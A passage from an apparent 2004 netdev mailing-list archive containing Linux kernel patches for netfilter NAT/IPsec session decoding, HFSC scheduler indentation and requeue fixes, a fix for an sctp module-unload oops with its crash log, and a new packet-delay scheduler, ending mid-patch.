nf_nat_decode_session(skb,fl,family) +#endif /* CONFIG_IP_NF_NAT_NEEDED */ +#endif /* CONFIG_XFRM */ + #endif /*__KERNEL__*/ #endif /*__LINUX_NETFILTER_H*/ diff -Nru a/net/core/netfilter.c b/net/core/netfilter.c --- a/net/core/netfilter.c Thu Mar 18 16:46:27 2004 +++ b/net/core/netfilter.c Thu Mar 18 16:46:27 2004 @@ -739,6 +739,49 @@ return NF_HOOK(PF_INET, NF_IP_PRE_ROUTING, skb, skb->dev, NULL, nf_postxfrm_done); } + +#ifdef CONFIG_IP_NF_NAT_NEEDED +#include +#include + +void nf_nat_decode_session4(struct sk_buff *skb, struct flowi *fl) +{ + struct ip_conntrack *ct; + struct ip_conntrack_tuple *t; + struct ip_nat_info_manip *m; + unsigned int i; + + if (skb->nfct == NULL) + return; + ct = (struct ip_conntrack *)skb->nfct->master; + + for (i = 0; i < ct->nat.info.num_manips; i++) { + m = &ct->nat.info.manips[i]; + t = &ct->tuplehash[m->direction].tuple; + + switch (m->hooknum) { + case NF_IP_PRE_ROUTING: + if (m->maniptype != IP_NAT_MANIP_DST) + break; + fl->fl4_dst = t->dst.ip; + if (t->dst.protonum == IPPROTO_TCP || + t->dst.protonum == IPPROTO_UDP) + fl->fl_ip_dport = t->dst.u.tcp.port; + break; +#ifdef CONFIG_IP_NF_NAT_LOCAL + case NF_IP_LOCAL_IN: + if (m->maniptype != IP_NAT_MANIP_SRC) + break; + fl->fl4_src = t->src.ip; + if (t->dst.protonum == IPPROTO_TCP || + t->dst.protonum == IPPROTO_UDP) + fl->fl_ip_sport = t->src.u.tcp.port; + break; +#endif + } + } +} +#endif /* CONFIG_IP_NF_NAT_NEEDED */ #endif /* CONFIG_XFRM */ int skb_ip_make_writable(struct sk_buff **pskb, unsigned int writable_len) diff -Nru a/net/ipv4/ip_input.c b/net/ipv4/ip_input.c --- a/net/ipv4/ip_input.c Thu Mar 18 16:46:27 2004 +++ b/net/ipv4/ip_input.c Thu Mar 18 16:46:27 2004 @@ -206,10 +206,6 @@ __skb_pull(skb, ihl); - /* Free reference early: we don't need it any more, and it may - hold ip_conntrack module loaded indefinitely. */ - nf_reset(skb); - /* Point into the IP datagram, just past the header. */ skb->h.raw = skb->data; @@ -240,10 +236,12 @@ if (ipprot != NULL) { int ret; - if (!ipprot->no_policy && - !xfrm4_policy_check(NULL, XFRM_POLICY_IN, skb)) { - kfree_skb(skb); - goto out; + if (!ipprot->no_policy) { + if (!xfrm4_policy_check(NULL, XFRM_POLICY_IN, skb)) { + kfree_skb(skb); + goto out; + } + nf_reset(skb); } ret = ipprot->handler(skb); if (ret < 0) { diff -Nru a/net/ipv4/raw.c b/net/ipv4/raw.c --- a/net/ipv4/raw.c Thu Mar 18 16:46:27 2004 +++ b/net/ipv4/raw.c Thu Mar 18 16:46:27 2004 @@ -249,6 +249,7 @@ kfree_skb(skb); return NET_RX_DROP; } + nf_reset(skb); skb_push(skb, skb->data - skb->nh.raw); diff -Nru a/net/ipv4/tcp_ipv4.c b/net/ipv4/tcp_ipv4.c --- a/net/ipv4/tcp_ipv4.c Thu Mar 18 16:46:27 2004 +++ b/net/ipv4/tcp_ipv4.c Thu Mar 18 16:46:27 2004 @@ -1785,6 +1785,7 @@ if (!xfrm4_policy_check(sk, XFRM_POLICY_IN, skb)) goto discard_and_relse; + nf_reset(skb); if (sk_filter(sk, skb, 0)) goto discard_and_relse; diff -Nru a/net/ipv4/udp.c b/net/ipv4/udp.c --- a/net/ipv4/udp.c Thu Mar 18 16:46:27 2004 +++ b/net/ipv4/udp.c Thu Mar 18 16:46:27 2004 @@ -1030,6 +1030,7 @@ kfree_skb(skb); return -1; } + nf_reset(skb); if (up->encap_type) { /* @@ -1195,6 +1196,7 @@ if (!xfrm4_policy_check(NULL, XFRM_POLICY_IN, skb)) goto drop; + nf_reset(skb); /* No socket. Drop packet silently, if checksum is wrong */ if (udp_checksum_complete(skb)) diff -Nru a/net/xfrm/xfrm_policy.c b/net/xfrm/xfrm_policy.c --- a/net/xfrm/xfrm_policy.c Thu Mar 18 16:46:27 2004 +++ b/net/xfrm/xfrm_policy.c Thu Mar 18 16:46:27 2004 @@ -21,6 +21,7 @@ #include #include #include +#include #include #include @@ -908,6 +909,7 @@ if (_decode_session(skb, &fl, family) < 0) return 0; + nf_nat_decode_session(skb, &fl, family); /* First, check used SA against their selectors. */ if (skb->sp) { --------------030909010207090303020502-- From kaber@trash.net Thu Mar 18 08:45:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 08:45:21 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IGjIKO000739 for ; Thu, 18 Mar 2004 08:45:19 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B40eQ-0005l8-00; Thu, 18 Mar 2004 17:45:46 +0100 Message-ID: <4059D271.2080705@trash.net> Date: Thu, 18 Mar 2004 17:46:41 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com Subject: [PATCH 1/2] HFSC: Fix indentations X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------070304050700070807040206" X-archive-position: 4101 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 3908 Lines: 116 This is a multi-part message in MIME format. --------------070304050700070807040206 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hi Dave, this patch fixes broken indentations in HFSC from the u_intXX_t -> uXX change. Best regards Patrick --------------070304050700070807040206 Content-Type: text/x-patch; name="01-hfsc-indent.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="01-hfsc-indent.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/03/17 03:01:46+01:00 kaber@trash.net # [NET_SCHED}: Fix indentations in HFSC scheduler # # net/sched/sch_hfsc.c # 2004/03/17 03:01:37+01:00 kaber@trash.net +17 -20 # [NET_SCHED}: Fix indentations in HFSC scheduler # diff -Nru a/net/sched/sch_hfsc.c b/net/sched/sch_hfsc.c --- a/net/sched/sch_hfsc.c Thu Mar 18 02:34:11 2004 +++ b/net/sched/sch_hfsc.c Thu Mar 18 02:34:11 2004 @@ -118,7 +118,7 @@ struct hfsc_class { - u32 classid; /* class id */ + u32 classid; /* class id */ unsigned int refcnt; /* usage count */ struct tc_stats stats; /* generic statistics */ @@ -138,28 +138,28 @@ struct list_head hlist; /* hash list member */ struct list_head dlist; /* drop list member */ - u64 cl_total; /* total work in bytes */ - u64 cl_cumul; /* cumulative work in bytes done by + u64 cl_total; /* total work in bytes */ + u64 cl_cumul; /* cumulative work in bytes done by real-time criteria */ - u64 cl_d; /* deadline*/ - u64 cl_e; /* eligible time */ - u64 cl_vt; /* virtual time */ - u64 cl_f; /* time when this class will fit for + u64 cl_d; /* deadline*/ + u64 cl_e; /* eligible time */ + u64 cl_vt; /* virtual time */ + u64 cl_f; /* time when this class will fit for link-sharing, max(myf, cfmin) */ - u64 cl_myf; /* my fit-time (calculated from this + u64 cl_myf; /* my fit-time (calculated from this class's own upperlimit curve) */ - u64 cl_myfadj; /* my fit-time adjustment (to cancel + u64 cl_myfadj; /* my fit-time adjustment (to cancel history dependence) */ - u64 cl_cfmin; /* earliest children's fit-time (used + u64 cl_cfmin; /* earliest children's fit-time (used with cl_myf to obtain cl_f) */ - u64 cl_cvtmin; /* minimal virtual time among the + u64 cl_cvtmin; /* minimal virtual time among the children fit for link-sharing (monotonic within a period) */ - u64 cl_vtadj; /* intra-period cumulative vt + u64 cl_vtadj; /* intra-period cumulative vt adjustment */ - u64 cl_vtoff; /* inter-period cumulative vt offset */ - u64 cl_cvtmax; /* max child's vt in the last period */ + u64 cl_vtoff; /* inter-period cumulative vt offset */ + u64 cl_cvtmax; /* max child's vt in the last period */ struct internal_sc cl_rsc; /* internal real-time service curve */ struct internal_sc cl_fsc; /* internal fair service curve */ @@ -179,8 +179,7 @@ struct hfsc_sched { - u16 defcls; /* default class id */ - + u16 defcls; /* default class id */ struct hfsc_class root; /* root class */ struct hfsc_class *last_xmit; /* class that transmitted last packet (for requeueing) */ @@ -566,8 +565,7 @@ * service curve starting at (x, y). */ static void -rtsc_init(struct runtime_sc *rtsc, struct internal_sc *isc, u64 x, - u64 y) +rtsc_init(struct runtime_sc *rtsc, struct internal_sc *isc, u64 x, u64 y) { rtsc->x = x; rtsc->y = y; @@ -626,8 +624,7 @@ * runtime service curve and the service curve starting at (x, y). */ static void -rtsc_min(struct runtime_sc *rtsc, struct internal_sc *isc, u64 x, - u64 y) +rtsc_min(struct runtime_sc *rtsc, struct internal_sc *isc, u64 x, u64 y) { u64 y1, y2, dx, dy; u32 dsm; --------------070304050700070807040206-- From kaber@trash.net Thu Mar 18 08:48:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 08:48:23 -0800 (PST) Received: from gw.localnet (port-212-202-52-228.reverse.qsc.de [212.202.52.228]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IGmKKO001153 for ; Thu, 18 Mar 2004 08:48:21 -0800 Received: from ws.localnet ([192.168.0.23] helo=trash.net ident=kaber) by gw.localnet with esmtp (Exim 3.36 #1 (Debian)) id 1B40hM-0005m6-00; Thu, 18 Mar 2004 17:48:48 +0100 Message-ID: <4059D327.40300@trash.net> Date: Thu, 18 Mar 2004 17:49:43 +0100 From: Patrick McHardy User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040122 Debian/1.6-1 X-Accept-Language: en MIME-Version: 1.0 To: "David S. Miller" CC: netdev@oss.sgi.com Subject: [PATCH 2/2]: HFSC: Fix requeueing X-Enigmail-Version: 0.83.3.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: multipart/mixed; boundary="------------020907010002050703010604" X-archive-position: 4102 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: kaber@trash.net Precedence: bulk X-list: netdev Content-Length: 3414 Lines: 136 This is a multi-part message in MIME format. --------------020907010002050703010604 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This patch fixes requeueing in HFSC. Requeued packets are kept in a high-priority queue which is always dequeued first. Best regards Patrick --------------020907010002050703010604 Content-Type: text/x-patch; name="02-hfsc-requeue.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="02-hfsc-requeue.diff" # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/03/18 02:33:40+01:00 kaber@trash.net # [NET_SCHED}: Fix requeueing in HFSC scheduler # # net/sched/sch_hfsc.c # 2004/03/18 02:33:31+01:00 kaber@trash.net +10 -30 # [NET_SCHED}: Fix requeueing in HFSC scheduler # diff -Nru a/net/sched/sch_hfsc.c b/net/sched/sch_hfsc.c --- a/net/sched/sch_hfsc.c Thu Mar 18 02:34:28 2004 +++ b/net/sched/sch_hfsc.c Thu Mar 18 02:34:28 2004 @@ -181,12 +181,11 @@ { u16 defcls; /* default class id */ struct hfsc_class root; /* root class */ - struct hfsc_class *last_xmit; /* class that transmitted last - packet (for requeueing) */ struct list_head clhash[HFSC_HSIZE]; /* class hash */ struct list_head eligible; /* eligible list */ struct list_head droplist; /* active leaf class list (for dropping) */ + struct sk_buff_head requeue; /* requeued packet */ struct timer_list wd_timer; /* watchdog timer */ }; @@ -1228,9 +1227,6 @@ list_del(&cl->siblings); hfsc_adjust_levels(cl->cl_parent); hfsc_purge_queue(sch, cl); - if (q->last_xmit == cl) - q->last_xmit = NULL; - if (--cl->refcnt == 0) hfsc_destroy_class(sch, cl); @@ -1538,6 +1534,7 @@ INIT_LIST_HEAD(&q->clhash[i]); INIT_LIST_HEAD(&q->eligible); INIT_LIST_HEAD(&q->droplist); + skb_queue_head_init(&q->requeue); q->root.refcnt = 1; q->root.classid = sch->handle; @@ -1616,10 +1613,9 @@ list_for_each_entry(cl, &q->clhash[i], hlist) hfsc_reset_class(cl); } - + __skb_queue_purge(&q->requeue); INIT_LIST_HEAD(&q->eligible); INIT_LIST_HEAD(&q->droplist); - q->last_xmit = NULL; del_timer(&q->wd_timer); sch->flags &= ~TCQ_F_THROTTLED; sch->q.qlen = 0; @@ -1636,7 +1632,7 @@ list_for_each_entry_safe(cl, next, &q->clhash[i], hlist) hfsc_destroy_class(sch, cl); } - + __skb_queue_purge(&q->requeue); del_timer(&q->wd_timer); } @@ -1705,6 +1701,8 @@ if (sch->q.qlen == 0) return NULL; + if ((skb = __skb_dequeue(&q->requeue))) + goto out; PSCHED_GET_TIME(cur_time); @@ -1754,7 +1752,7 @@ set_passive(cl); } - q->last_xmit = cl; + out: sch->flags &= ~TCQ_F_THROTTLED; sch->q.qlen--; @@ -1765,28 +1763,10 @@ hfsc_requeue(struct sk_buff *skb, struct Qdisc *sch) { struct hfsc_sched *q = (struct hfsc_sched *)sch->data; - struct hfsc_class *cl = q->last_xmit; - unsigned int len = skb->len; - int ret; - if (cl == NULL) { - kfree_skb(skb); - sch->stats.drops++; - return NET_XMIT_DROP; - } - - ret = cl->qdisc->ops->requeue(skb, cl->qdisc); - if (ret == NET_XMIT_SUCCESS) { - if (cl->qdisc->q.qlen == 1) - set_active(cl, len); - sch->q.qlen++; - } else { - cl->stats.drops++; - sch->stats.drops++; - } - q->last_xmit = NULL; - - return ret; + __skb_queue_head(&q->requeue, skb); + sch->q.qlen++; + return NET_XMIT_SUCCESS; } static unsigned int --------------020907010002050703010604-- From sri@us.ibm.com Thu Mar 18 10:24:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 10:24:35 -0800 (PST) Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IIONKO004665 for ; Thu, 18 Mar 2004 10:24:30 -0800 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e2.ny.us.ibm.com (8.12.10/8.12.2) with ESMTP id i2IIOH7b424918; Thu, 18 Mar 2004 13:24:18 -0500 Received: from w-sridhar.beaverton.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.10/NCO/VER6.6) with ESMTP id i2IIOVeA049870; Thu, 18 Mar 2004 13:24:32 -0500 Date: Thu, 18 Mar 2004 10:24:10 -0800 (PST) From: Sridhar Samudrala X-X-Sender: sridhar@localhost.localdomain To: rusty@rustcorp.com.au cc: linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: OOPS when force unloading sctp with CONFIG_DEBUG_SLAB enabled In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 4103 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sri@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 5296 Lines: 101 I took a look at the changes to module unload code(sys_delete_module) after 2.6.3. One difference i noticed was that mod->waiter is being set to the kthread that runs __try_stop_module() instead of the thread that calls sys_delete_module(). The following patch fixed the oops. diff -Nru a/kernel/module.c b/kernel/module.c --- a/kernel/module.c Thu Mar 18 10:17:58 2004 +++ b/kernel/module.c Thu Mar 18 10:17:58 2004 @@ -591,6 +591,10 @@ /* Stop the machine so refcounts can't move and disable module. */ ret = try_stop_module(mod, flags, &forced); + /* Mark it as dying. */ + mod->waiter = current; + mod->state = MODULE_STATE_GOING; + /* Never wait if forced. */ if (!forced && module_refcount(mod) != 0) wait_for_zero_refcount(mod); I am not sure if this is the right or the complete fix, but i think that mod->waiter is definitely being set incorrectly in __try_stop_module(). Thanks Sridhar On Wed, 17 Mar 2004, Sridhar Samudrala wrote: > I am getting the following oops when force unloading sctp (rmmod -f sctp) with > 2.6.5-rc1 and 2.6.4. This happens only when CONFIG_DEBUG_SLAB is enabled. > > This used to work fine until 2.6.3. > > looks like somehow a freed task struct is getting dereferenced in > try_to_wake_up() and it causes oops when debug memory allocations is enabled. > The call sequence seems to be > sys_delete_module > cleanup_module > sock_release > module_put > wake_up_process > try_to_wake_up > > Thanks > Sridhar > > Mar 17 08:31:40 w-sridhar kernel: Unable to handle kernel paging request at virtual address 6b6b6b7b > Mar 17 08:31:40 w-sridhar kernel: printing eip: > Mar 17 08:31:40 w-sridhar kernel: c011ad39 > Mar 17 08:31:40 w-sridhar kernel: *pde = 00000000 > Mar 17 08:31:40 w-sridhar kernel: Oops: 0000 [#1] > Mar 17 08:31:40 w-sridhar kernel: PREEMPT SMP > Mar 17 08:31:40 w-sridhar kernel: CPU: 0 > Mar 17 08:31:40 w-sridhar kernel: EIP: 0060:[] Tainted: GF > Mar 17 08:31:40 w-sridhar kernel: EFLAGS: 00010086 (2.6.5-rc1) > Mar 17 08:31:40 w-sridhar kernel: EIP is at try_to_wake_up+0x29/0x310 > Mar 17 08:31:40 w-sridhar kernel: eax: 6b6b6b6b ebx: c041cc80 ecx: ccc66da4 edx: cdc258a0 > Mar 17 08:31:40 w-sridhar kernel: esi: cdc7c000 edi: c041cc80 ebp: cdc7df18 esp: cdc7def4 > Mar 17 08:31:40 w-sridhar kernel: ds: 007b es: 007b ss: 0068 > Mar 17 08:31:40 w-sridhar kernel: Process rmmod (pid: 1636, threadinfo=cdc7c000 task=cde2a140) > Mar 17 08:31:40 w-sridhar kernel: Stack: d08e2300 cdc7df14 c02bde4c cfcd9304 00000000 00000282 cdf1e5bc cdc7c000 > Mar 17 08:31:40 w-sridhar kernel: d08e2300 cdc7df2c c011b03e cdc258a0 00000007 00000000 cdc7df44 c02bac4a > Mar 17 08:31:40 w-sridhar kernel: cdf1e5bc c03843b8 d08e2300 00000a80 cdc7df54 d08d6f24 cdf1e5bc 00000a80 > Mar 17 08:31:40 w-sridhar kernel: Call Trace: > Mar 17 08:31:40 w-sridhar kernel: [] sk_free+0x6c/0xf0 > Mar 17 08:31:40 w-sridhar kernel: [] wake_up_process+0x1e/0x30 > Mar 17 08:31:40 w-sridhar kernel: [] sock_release+0xea/0xf0 > Mar 17 08:31:40 w-sridhar kernel: [] cleanup_module+0x24/0x1d5 [sctp] > Mar 17 08:31:40 w-sridhar kernel: [] sys_delete_module+0x174/0x1d0 > Mar 17 08:31:40 w-sridhar kernel: [] sys_munmap+0x58/0x80 > Mar 17 08:31:40 w-sridhar kernel: [] syscall_call+0x7/0xb > Mar 17 08:31:40 w-sridhar kernel: > Mar 17 08:31:40 w-sridhar kernel: Code: 8b 40 10 8b 14 85 20 f0 41 c0 ff 46 14 01 d7 31 c0 86 07 84 > Mar 17 08:31:40 w-sridhar kernel: <6>note: rmmod[1636] exited with preempt_count 1 > Mar 17 08:31:40 w-sridhar kernel: Debug: sleeping function called from invalid context at include/linux/rwsem.h:43 > Mar 17 08:31:40 w-sridhar kernel: in_atomic():1, irqs_disabled():0 > Mar 17 08:31:40 w-sridhar kernel: Call Trace: > Mar 17 08:31:40 w-sridhar kernel: [] __might_sleep+0xab/0xd0 > Mar 17 08:31:40 w-sridhar kernel: [] profile_exit_task+0x22/0x60 > Mar 17 08:31:40 w-sridhar kernel: [] do_exit+0x7a/0x610 > Mar 17 08:31:40 w-sridhar kernel: [] do_divide_error+0x0/0xf0 > Mar 17 08:31:40 w-sridhar kernel: [] do_page_fault+0x215/0x58a > Mar 17 08:31:40 w-sridhar kernel: [] recalc_task_prio+0xb4/0x1f0 > Mar 17 08:31:40 w-sridhar kernel: [] schedule+0x3a9/0x7b0 > Mar 17 08:31:40 w-sridhar kernel: [] scheduler_tick+0x43/0x6a0 > Mar 17 08:31:40 w-sridhar kernel: [] do_page_fault+0x0/0x58a > Mar 17 08:31:40 w-sridhar kernel: [] error_code+0x2d/0x38 > Mar 17 08:31:40 w-sridhar kernel: [] atkbd_connect+0x19b/0x420 > Mar 17 08:31:40 w-sridhar kernel: [] try_to_wake_up+0x29/0x310 > Mar 17 08:31:40 w-sridhar kernel: [] sk_free+0x6c/0xf0 > Mar 17 08:31:40 w-sridhar kernel: [] wake_up_process+0x1e/0x30 > Mar 17 08:31:40 w-sridhar kernel: [] sock_release+0xea/0xf0 > Mar 17 08:31:40 w-sridhar kernel: [] cleanup_module+0x24/0x1d5 [sctp] > Mar 17 08:31:40 w-sridhar kernel: [] sys_delete_module+0x174/0x1d0 > Mar 17 08:31:40 w-sridhar kernel: [] sys_munmap+0x58/0x80 > Mar 17 08:31:40 w-sridhar kernel: [] syscall_call+0x7/0xb > > > From shemminger@osdl.org Thu Mar 18 12:05:07 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 18 Mar 2004 12:05:11 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i2IK53KO007978 for ; Thu, 18 Mar 2004 12:05:06 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i2IK4qE12321; Thu, 18 Mar 2004 12:04:52 -0800 Date: Thu, 18 Mar 2004 12:04:51 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, lartc@mailman.ds9a.nl Subject: [PATCH] packet delay scheduler Message-Id: <20040318120451.1c9ee286@dell_ss3.pdx.osdl.net> In-Reply-To: <20040316174134.2f1da12a.davem@redhat.com> References: <20040316151058.3cc2fa28@dell_ss3.pdx.osdl.net> <20040316174134.2f1da12a.davem@redhat.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.9claws (GTK+ 1.2.10; i386-redhat-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 4104 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 8485 Lines: 333 Okay, here is a very simple QOS scheduler that delays packets for 2.6. It is good for testing, and might be useful for people who want to put some class of traffic into a "penalty box". Alexey's tc command is really easy to extend to new disciplines. There is a version which knows about this scheduler at: http://developer.osdl.org/shemminger/tcp/iproute2-delay.tar.bz2 The only changes were to tc/Makefile and new file tc/q_delay.c A trivial example is: tc qdisc add dev eth0 root delay latency 25ms rate 100mbit Try it, if others find it useful please consider adding it. diff -Nru a/include/linux/pkt_sched.h b/include/linux/pkt_sched.h --- a/include/linux/pkt_sched.h Thu Mar 18 12:04:02 2004 +++ b/include/linux/pkt_sched.h Thu Mar 18 12:04:02 2004 @@ -432,4 +432,10 @@ #define TCA_ATM_MAX TCA_ATM_STATE +/* Delay section */ +struct tc_dly_qopt +{ + __u32 latency; + __u32 limit; +}; #endif diff -Nru a/net/sched/Kconfig b/net/sched/Kconfig --- a/net/sched/Kconfig Thu Mar 18 12:04:02 2004 +++ b/net/sched/Kconfig Thu Mar 18 12:04:02 2004 @@ -164,6 +164,17 @@ To compile this code as a module, choose M here: the module will be called sch_dsmark. +config NET_SCH_DELAY + tristate "Delay simulator" + depends on NET_SCHED + help + Say Y if you want to delay packets by a fixed amount of + time. This is often useful to simulate network delay when + testing applications or protocols. + + To compile this driver as a module, choose M here: the module + will be called sch_delay. + config NET_SCH_INGRESS tristate "Ingress Qdisc" depends on NET_SCHED && NETFILTER diff -Nru a/net/sched/Makefile b/net/sched/Makefile --- a/net/sched/Makefile Thu Mar 18 12:04:02 2004 +++ b/net/sched/Makefile Thu Mar 18 12:04:02 2004 @@ -22,6 +22,7 @@ obj-$(CONFIG_NET_SCH_TEQL) += sch_teql.o obj-$(CONFIG_NET_SCH_PRIO) += sch_prio.o obj-$(CONFIG_NET_SCH_ATM) += sch_atm.o +obj-$(CONFIG_NET_SCH_DELAY) += sch_delay.o obj-$(CONFIG_NET_CLS_U32) += cls_u32.o obj-$(CONFIG_NET_CLS_ROUTE4) += cls_route.o obj-$(CONFIG_NET_CLS_FW) += cls_fw.o diff -Nru a/net/sched/sch_delay.c b/net/sched/sch_delay.c --- /dev/null Wed Dec 31 16:00:00 1969 +++ b/net/sched/sch_delay.c Thu Mar 18 12:04:02 2004 @@ -0,0 +1,269 @@ +/* + * net/sched/sch_delay.c Simple constant delay + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + * + * Authors: Stephen Hemminger + */ + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/* Network delay simulator + This scheduler adds a fixed delay to all packets. + Similar to NISTnet and BSD Dummynet. + + It uses byte fifo underneath similar to TBF */ +struct dly_sched_data { + u32 latency; + u32 limit; + struct timer_list timer; + struct Qdisc *qdisc; +}; + +/* Time stamp put into socket buffer control block */ +struct dly_skb_cb { + psched_time_t queuetime; +}; + +/* Enqueue packets with underlying discipline (fifo) + * but mark them with current time first. + */ +static int dly_enqueue(struct sk_buff *skb, struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + struct dly_skb_cb *cb = (struct dly_skb_cb *)skb->cb; + int ret; + + PSCHED_GET_TIME(cb->queuetime); + + /* Queue to underlying scheduler */ + ret = q->qdisc->enqueue(skb, q->qdisc); + if (ret) + sch->stats.drops++; + else { + sch->q.qlen++; + sch->stats.bytes += skb->len; + sch->stats.packets++; + } + return 0; +} + +/* Requeue packets but don't change time stamp */ +static int dly_requeue(struct sk_buff *skb, struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + int ret; + + ret = q->qdisc->ops->requeue(skb, q->qdisc); + if (ret == 0) + sch->q.qlen++; + return ret; +} + +static unsigned int dly_drop(struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + unsigned int len; + + len = q->qdisc->ops->drop(q->qdisc); + if (len) { + sch->q.qlen--; + sch->stats.drops++; + } + return len; +} + +/* Dequeue packet. + * If packet needs to be held up, then stop the + * queue and set timer to wakeup later. + */ +static struct sk_buff *dly_dequeue(struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + struct sk_buff *skb = q->qdisc->dequeue(q->qdisc); + + if (skb) { + struct dly_skb_cb *cb = (struct dly_skb_cb *)skb->cb; + psched_time_t now; + long diff; + + PSCHED_GET_TIME(now); + diff = q->latency - PSCHED_TDIFF(now, cb->queuetime); + + if (diff <= 0) { + sch->q.qlen--; + sch->flags &= ~TCQ_F_THROTTLED; + return skb; + } + + if (!netif_queue_stopped(sch->dev)) { + long delay = PSCHED_US2JIFFIE(diff); + if (delay <= 0) + delay = 1; + mod_timer(&q->timer, jiffies+delay); + } + + if (q->qdisc->ops->requeue(skb, q->qdisc) != NET_XMIT_SUCCESS) { + sch->q.qlen--; + sch->stats.drops++; + } + sch->flags |= TCQ_F_THROTTLED; + } + return NULL; +} + +static void dly_reset(struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + + qdisc_reset(q->qdisc); + sch->q.qlen = 0; + sch->flags &= ~TCQ_F_THROTTLED; + del_timer(&q->timer); +} + +static void dly_timer(unsigned long arg) +{ + struct Qdisc *sch = (struct Qdisc *)arg; + + sch->flags &= ~TCQ_F_THROTTLED; + netif_schedule(sch->dev); +} + +/* Tell Fifo the new limit. */ +static int change_limit(struct Qdisc *q, u32 limit) +{ + struct rtattr *rta; + int ret; + + rta = kmalloc(RTA_LENGTH(sizeof(struct tc_fifo_qopt)), GFP_KERNEL); + if (!rta) + return -ENOMEM; + + rta->rta_type = RTM_NEWQDISC; + ((struct tc_fifo_qopt *)RTA_DATA(rta))->limit = limit; + ret = q->ops->change(q, rta); + kfree(rta); + + return ret; +} + +/* Setup underlying FIFO discipline */ +static int dly_change(struct Qdisc *sch, struct rtattr *opt) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + struct tc_dly_qopt *qopt = RTA_DATA(opt); + int err; + + if (q->qdisc == &noop_qdisc) { + struct Qdisc *child + = qdisc_create_dflt(sch->dev, &bfifo_qdisc_ops); + if (!child) + return -EINVAL; + q->qdisc = child; + } + + err = change_limit(q->qdisc, qopt->limit); + if (err) { + qdisc_destroy(q->qdisc); + q->qdisc = &noop_qdisc; + } else { + q->latency = qopt->latency; + q->limit = qopt->limit; + } + return err; +} + +static int dly_init(struct Qdisc *sch, struct rtattr *opt) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + + if (!opt) + return -EINVAL; + + init_timer(&q->timer); + q->timer.function = dly_timer; + q->timer.data = (unsigned long) sch; + q->qdisc = &noop_qdisc; + + return dly_change(sch, opt); +} + +static void dly_destroy(struct Qdisc *sch) +{ + struct dly_sched_data *q = (struct dly_sched_data *)sch->data; + + del_timer(&q->timer); + qdisc_destroy(q->qdisc); + q->qdisc = &noop_qdisc; +} + +static int 